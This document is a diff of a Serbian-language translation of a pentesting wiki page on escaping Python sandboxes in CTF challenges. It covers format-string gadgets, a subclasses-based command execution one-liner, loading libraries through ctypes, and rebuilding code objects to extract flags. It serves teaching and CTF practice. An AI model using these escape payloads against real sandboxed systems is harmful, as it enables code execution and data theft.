= people) ``` -Štaviše, moguće je **code new formatters** u klasama: +Štaviše, moguće je **kodirati nove formatere** u klasama: ```python class HAL9000(object): def __format__(self, format): @@ -711,10 +713,10 @@ return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` -**Više primera** o **format** **string** primerima možete pronaći na [**https://pyformat.info/**](https://pyformat.info) +**Više primera** o **format** **string** primerima mogu se naći na [**https://pyformat.info/**](https://pyformat.info) > [!CAUTION] -> Proverite i sledeću stranicu za gadgets koji će r**čitati osetljive informacije iz Python internih objekata**: +> Proverite takođe sledeću stranicu za gadgets koji će p**ročitati osetljive informacije iz Python internih objekata**: {{#ref}} @@ -741,18 +743,18 @@ str(x) # Out: clueless Iz [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` -### From format to RCE loading libraries +### Od format string do RCE kroz učitavanje biblioteka -According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) moguće je učitati proizvoljne biblioteke sa diska zloupotrebljavajući format string vulnerability u python. +Prema [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) moguće je učitati proizvoljne biblioteke sa diska zloupotrebom format string vulnerability u pythonu. -Kao podsetnik, svaki put kad se izvrši neka akcija u python neki funkcija se poziva. Na primer `2*3` će izvršiti **`(2).mul(3)`** ili **`{'a':'b'}['a']`** će biti **`{'a':'b'}.__getitem__('a')`**. +Kao podsetnik, svaki put kada se u pythonu izvrši neka radnja, pozove se odgovarajuća funkcija. Na primer `2*3` će izvršiti **`(2).mul(3)`** ili **`{'a':'b'}['a']`** će biti **`{'a':'b'}.__getitem__('a')`**. -Više ovakvih primera imaš u sekciji [**Python execution without calls**](#python-execution-without-calls). +Više ovakvih primera nalazi se u sekciji [**Python execution without calls**](#python-execution-without-calls). -A python format string vuln ne dozvoljava izvršavanje funkcije (ne dozvoljava korišćenje zagrada), tako da nije moguće dobiti RCE kao `'{0.system("/bin/sh")}'.format(os)`.\\ +Python format string vuln ne dozvoljava izvršavanje funkcije (ne dozvoljava upotrebu zagrada), pa nije moguće dobiti RCE kao `'{0.system("/bin/sh")}'.format(os)`.\ Međutim, moguće je koristiti `[]`. Dakle, ako neka uobičajena python biblioteka ima **`__getitem__`** ili **`__getattr__`** metodu koja izvršava proizvoljan kod, moguće ih je zloupotrebiti da se dobije RCE. -Tražeći gadget poput ovog u python, writeup predlaže ovu [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Gde je pronašao ovaj [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): +Tražeći takav gadget u pythonu, writeup predlaže ovaj [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Gde je našao ovaj [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): ```python class LibraryLoader(object): def __init__(self, dlltype): @@ -774,20 +776,20 @@ return getattr(self, name) cdll = LibraryLoader(CDLL) pydll = LibraryLoader(PyDLL) ``` -Ovaj gadget omogućava da **učitate biblioteku sa diska**. Stoga je potrebno na neki način **zapisati ili otpremiti biblioteku koja će se učitati**, pravilno kompajliranu za napadnuti server. +Ovaj gadget omogućava da se **učita biblioteka sa diska**. Stoga je potrebno na neki način **upisati ili otpremiti biblioteku koja će se učitati**, pravilno kompajlovanu, na napadnuti server. ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` -Izazov zapravo zloupotrebljava drugu ranjivost na serveru koja omogućava kreiranje proizvoljnih fajlova na disku servera. +Zadatak zapravo iskorišćava drugu ranjivost na serveru koja omogućava kreiranje proizvoljnih fajlova na disku servera. ## Analiza Python objekata > [!TIP] -> Ako želite da **naučite** o **python bytecode** detaljno, pročitajte ovaj **sjajan** post o toj temi: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) +> Ako želite detaljno da **naučite** o **python bytecode**, pročitajte ovaj **sjajan** post o toj temi: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) -U nekim CTF-ovima može vam biti dato ime **custom function where the flag** u kojoj se nalazi flag, i potrebno je da pogledate **internals** te **function** kako biste ga izvukli. +U nekim CTF-ovima može vam biti dato ime **custom function where the flag** i morate pogledati **internals** te **function** da biste ga izvukli. -Ovo je funkcija koju treba pregledati: +Ovo je funkcija koju treba ispitati: ```python def get_flag(some_input): var1=1 @@ -807,7 +809,7 @@ dir(get_flag) #Get info tof the function ``` #### globals -`__globals__` and `func_globals` (isto) dohvataju globalno okruženje. U primeru možete videti neke importovane module, neke globalne promenljive i njihov sadržaj: +`__globals__` and `func_globals` (Same) dohvataju globalno okruženje. U primeru možete videti nekoliko importovanih modula, neke globalne promenljive i njihov sadržaj: ```python get_flag.func_globals get_flag.__globals__ @@ -820,7 +822,7 @@ CustomClassObject.__class__.__init__.__globals__ ### **Pristup kodu funkcije** -**`__code__`** and `func_code`: Možete **pristupiti** ovom **atributu** funkcije da biste **dobili code object** funkcije. +**`__code__`** i `func_code`: Možete **pristupiti** ovom **atributu** funkcije da **dobijete code object** funkcije. ```python # In our current example get_flag.__code__ @@ -880,7 +882,7 @@ get_flag.__code__.co_freevars get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` -### **Disasemblovanje funkcije** +### **Disassembly funkcije** ```python import dis dis.dis(get_flag) @@ -908,7 +910,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -Obratite pažnju da **ako ne možete да importujete `dis` у python sandbox** можете да добијете **bytecode** функције (`get_flag.func_code.co_code`) и **disassemble** га локално. Нећете видети садржај променљивих које се учитавају (`LOAD_CONST`), али их можете насетити из (`get_flag.func_code.co_consts`) зато што `LOAD_CONST` такође показује offset променљиве која се учитава. +Obratite pažnju da **if you cannot import `dis` in the python sandbox** možete dobiti **bytecode** funkcije (`get_flag.func_code.co_code`) i **disassemble** ga lokalno. Nećete videti sadržaj varijabli koje se učitavaju (`LOAD_CONST`), ali ih možete naslutiti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe pokazuje offset varijable koja se učitava. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -932,8 +934,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 ``` ## Kompajliranje Pythona -Sada zamislimo da na neki način možete **dump the information about a function that you cannot execute**, ali morate da je **izvršite**.\ -Kao u sledećem primeru, možete **access the code object** te funkcije, ali samo čitajući disassemble ne znate kako da izračunate flag (_zamislite složeniju `calc_flag` funkciju_) +Sada, zamislimo da na neki način možete **dump informacije o funkciji koju ne možete izvršiti**, ali morate tu funkciju **izvršiti**.\ +Kao u sledećem primeru, možete **pristupiti code object** te funkcije, ali samo čitajući disassemble ne znate kako da izračunate flag (_zamislite složeniju `calc_flag` funkciju_) ```python def get_flag(some_input): var1=1 @@ -948,7 +950,7 @@ return "Nope" ``` ### Kreiranje code object -Prvo, moramo znati **kako kreirati i izvršiti code object** da bismo mogli napraviti jedan koji će izvršiti našu function leaked: +Prvo, moramo znati **kako kreirati i izvršiti code object** da bismo mogli da napravimo jedan i izvršimo našu funkciju leaked: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -968,7 +970,7 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` > [!TIP] -> U zavisnosti od verzije python-a, **parametri** `code_type` mogu imati **drugačiji redosled**. Najbolji način da saznate redosled parametara u verziji python-a koju pokrećete je da pokrenete: +> U zavisnosti od python verzije, **parametri** `code_type` mogu imati **drugačiji redosled**. Najbolji način da saznate redosled parametara u python verziji koju koristite je da pokrenete: > > ``` > import types @@ -976,10 +978,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode") > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.' > ``` -### Rekreiranje leaked funkcije +### Rekreiranje leaked function > [!WARNING] -> U sledećem primeru preuzećemo sve podatke potrebne za rekreiranje funkcije direktno iz code objekta funkcije. U **pravom primeru**, sve **vrednosti** potrebne za izvršavanje funkcije **`code_type`** su ono što **you will need to leak**. +> U sledećem primeru ćemo uzeti sve podatke potrebne da rekreiramo function direktno iz function code object-a. U **pravom primeru**, sve **vrednosti** za izvršenje funkcije **`code_type`** su ono što ćete morati leak. ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak @@ -990,12 +992,12 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") #ThisIsTheFlag ``` -### Zaobilaženje odbrane +### Zaobilaženje zaštita -U prethodnim primerima na početku ovog posta možete videti **kako izvršiti bilo koji python kod koristeći funkciju `compile`**. Ovo je interesantno jer možete **izvršiti cele skripte** sa petljama i svime u **one liner** (i isto bismo mogli uraditi koristeći **`exec`**).\ -U svakom slučaju, ponekad može biti korisno da **kreirate** **compiled object** na lokalnoj mašini i izvršite ga na **CTF machine** (na primer zato što nemamo funkciju `compiled` u CTF-u). +U prethodnim primerima na početku ovog posta, možete videti **kako izvršiti bilo koji python kod koristeći funkciju `compile`**. Ovo je zanimljivo zato što možete **izvršiti čitave skripte** sa petljama i svim ostalim u **jednoj liniji** (i isto bismo mogli uraditi koristeći **`exec`**).\\ +U svakom slučaju, ponekad može biti korisno **kreirati** **kompajlirani objekat** na lokalnoj mašini i izvršiti ga u **CTF machine** (na primer zato što u CTF-u nemamo funkciju `compiled`). -Na primer, hajde da ručno kompajliramo i izvršimo funkciju koja čita _./poc.py_: +Na primer, kompajlirajmo i ručno izvršimo funkciju koja učitava _./poc.py_: ```python #Locally def read(): @@ -1022,7 +1024,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` -Ako ne možete da pristupite `eval` ili `exec`, možete napraviti **pravu funkciju**, ali direktno pozivanje obično neće uspeti sa: _constructor not accessible in restricted mode_. Zato vam treba **funkcija koja nije u ograničenom okruženju da pozove ovu funkciju.** +Ako ne možete da pristupite `eval` ili `exec`, možete napraviti **pravu funkciju**, ali njeno direktno pozivanje obično neće uspeti sa: _constructor not accessible in restricted mode_. Dakle, potrebna vam je **funkcija van ograničenog okruženja koja će pozvati ovu funkciju.** ```python #Compile a regular print ftype = type(lambda: None) @@ -1030,9 +1032,9 @@ ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` -## Dekompajliranje kompajliranog Python koda +## Decompiling Compiled Python -Korišćenjem alata kao što je [**https://www.decompiler.com/**](https://www.decompiler.com) moguće je **dekompajlirati** dati kompajlirani Python kod. +Korišćenjem alata poput [**https://www.decompiler.com/**](https://www.decompiler.com) moguće je **decompile** dati kompajlirani Python kod. **Pogledajte ovaj tutorijal**: @@ -1041,11 +1043,11 @@ Korišćenjem alata kao što je [**https://www.decompiler.com/**](https://www.de ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md {{#endref}} -## Ostalo (Python) +## Ostalo za Python ### Assert -Python pokrenut sa optimizacijama pomoću parametra `-O` će ukloniti assert izjave i bilo koji kod koji je uslovljen vrednošću **debug**.\ +Python koji se izvršava sa optimizacijama uz parametar `-O` ukloniće asset statements i sav kod koji je uslovljen vrednošću **debug**.\ Zbog toga, provere poput ```python def check_permission(super_user): @@ -1057,7 +1059,7 @@ print(f"\nNot a Super User!!!\n") ``` biće zaobiđeno -## Reference +## Izvori - [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) - [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)